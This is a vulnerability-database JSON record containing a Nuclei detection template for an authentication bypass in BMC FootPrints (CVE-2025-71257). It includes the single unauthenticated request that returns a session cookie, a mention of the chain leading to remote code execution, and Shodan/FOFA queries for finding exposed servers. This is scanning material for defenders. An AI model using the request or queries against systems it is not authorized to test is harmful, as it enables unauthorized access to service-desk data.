{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-71257/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-71257/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-71257/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-71257/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-71257/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-71257"},"sightings":{"href":"/api/v1/sightings/cve-2025-71257"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-71257.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-71257\n\ninfo:\n  name: BMC FootPrints - Authentication Bypass\n  author: watchTowr,DhiyaneshDk\n  severity: medium\n  description: |\n    BMC FootPrints versions 20.20.02 through 20.24.01.001 contain an authentication bypass vulnerability in the password reset functionality. Unauthenticated attackers can access the /footprints/servicedesk/passwordreset/request/ endpoint to obtain a valid SEC_TOKEN session cookie without proper authentication. This vulnerability enables exploitation of other vulnerabilities in the chain including CVE-2025-71258 and CVE-2025-71259 (SSRF) and CVE-2025-71260 (deserialization RCE).\n  impact: |\n    Unauthenticated attackers can bypass access controls to access and modify application data and system resources.\n  remediation: |\n    Apply the hotfixes released by BMC on September 2, 2025 for all affected branches. Update to the latest patched version of BMC FootPrints.\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2025-71257\n    epss-score: 0.45302\n    epss-percentile: 0.98791\n    cwe-id: CWE-287\n  reference:\n    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/\n    - https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"/footprints/servicedesk/\"\n    product: footprints\n    vendor: bmc\n    fofa-query: body=\"/footprints/servicedesk/\"\n  tags: cve,cve2025,servicedesk,bmc-software,auth-bypass,footprints,bmc,vkev\n\nvariables:\n  string: \"{{to_lower(rand_base(8))}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: set_cookie\n        words:\n          - \"SEC_TOKEN=\"\n# digest: 490a00463044022009fd4e284118851aba230727a19b2898e56ec5a0c2561e3a9dda36b9c1ecf5e70220044dd8489244360999401203fce2dc6530c59f75584d4d001583386efbfd7e29:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-71257"}